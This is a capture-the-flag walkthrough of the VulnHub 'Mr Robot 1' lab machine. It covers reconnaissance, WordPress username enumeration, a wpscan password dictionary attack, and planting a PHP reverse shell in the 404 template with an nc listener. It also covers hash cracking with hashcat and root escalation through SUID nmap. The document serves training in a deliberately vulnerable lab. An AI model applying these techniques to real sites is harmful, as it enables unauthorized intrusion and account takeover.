Hackin Like Mr. Robot

By: Daniel Santiago

> A simple writeup of the 'mr robot 1' challenge from vulnhub.com
> challenge: https://www.vulnhub.com/entry/mr-robot-1,151/
> Tools: https://www.offensive-security.com/kali-linux-vmware-virtualbox-image-download/

1. First we need to 'probe' the machine to see what's going on:

   - `nmap -sV <target IP>`

2. As you can see this machine has an open `http` connection on port: `80`. So the next thing to try is open that IP address in the browser to see what it is.

3. Since this is kind of an interactive page and we are not sure if we can actually use what we are seeing to exploit the machine we should now try to check what's in the `robots.txt` page (this is a 'standard' file in most websites, here's a link with some info: `https://moz.com/learn/seo/robotstxt`).

4. Now that we can see some files notice that we found our first key `key-1-of-3.txt`. Now let's go ahead and check that other file that we are getting(`fsociety.dic`).

5. Since we now have a password dictionary let's go ahead and sort it and count the words to see if we have repeated passwords.

   ```
   $wget <target IP>/fsociety.dic
   $wc -l fsociety.dic
   $sort -u fsociety.dic > sorted.txt
   $wc -l sorted.txt
   ```

6. Notice that we lowered our number of passwords. The next thing we should check is if the page that we are checking is a `WordPress` page. To do this just try to navigate to `<target IP>/readme.html` if you find a page that tells you the version of word press you win.

7. Now that we now that this is a `WordPress` page we can use simple tools to try and exploit it. Let's go ahead and try to get into the `wp-login.php` page of the site. Navigate to '/wp-login.php'. A nice thing that `WordPress` does for us hackers is tell us what users are valid targets or not. Notice that if you enter a random user and password combination the page will actually tell you if the user is a valid user for that site by giving us an error and telling us we

are using an invalid username.(how nice of `WordPress`).

8. Since this is a `Mr Robot` challenge we should try to reference some of the show's characters. Try entering the names of a few characters until you find a valid one.

9. Now that we have a username we should try to use our trusty `wpscan` tool with our password list for a nice dictionary attack on the site. `$wpscan -u http://<target Ip>/wp-login.php --wordlist <sorted.txt> --username elliot --wp-content-dir wp-content`

10. Now that we have access to the `WordPress admin page` we should first see if we can upload a page or a file of some sort.

    > We will be modifying a payload that comes with kali linux that is available in /usr/share/webshells/php/php-reverse-shell.php
    >
    > - cp /usr/share/webshells/php/php-reverse-shell.php backdoor.php

11. Let's modify our exploit according to our machine. The only things we have to modify on this fie is the `$ip` and the `$port` variables. Now that we have that let's upload the content of the page by simple going to the `Appearence>Editor` page of the `WordPress` admin page. Now choose the `404 Template` and go ahead and substitute it's content with the code of our exploit.

12. Next we have to setup a `listener` for this we will be using our networking `swiss army knife`

    ```
    nc -lvnp <port>
    ```

13. Now that we have our listener all we need to do is try to go to a page such that we get the `404 Template`

14. Now that we have a shell let's get something out of the way and `spawn` a "proper" shell

    ```
    $python -c "import pty; pty.spawn('/bin/sh')"
    ```

15. Let's navigate to `/home` and list what's there just to see what we can find.

    ```
    $cd /home
    $ls
    cd /robot
    ```

16. Now that we have entered one of the users `filesystem` let's see what this user has. Notice that we have just found our 2 key but we can't actually see it since it has proper user permissions.

17. Since there's a password file let's suppose that this is the password for this user. Now we just have to crack it. Save it to a file just as it is. Next let's use `hashcat` to crack our password. (First let's get our cracking dictionary)

    ```
    $hashcat --f crackme.txt rockyou.txt
    $su robot
    ```

18. Now that we have a password for this user let's login to see what we can find. Since we can't see what `root` has in his home folder let's try a little `priveledge escalation`.First let's see which files we can execute that belong to `root`.

    ```
    $find / -user root -perm -4000
    ```

19. Notice that one of the binaries that we list is nmap. So let's use it's `interactive mode` to escalate to root.

    ```
    $nmap --interactive
    nmap> !sh
    ```

20. Now that we are `root` let's navigate our `home folder`. And we have actually found our final key.

> With love Daniel San...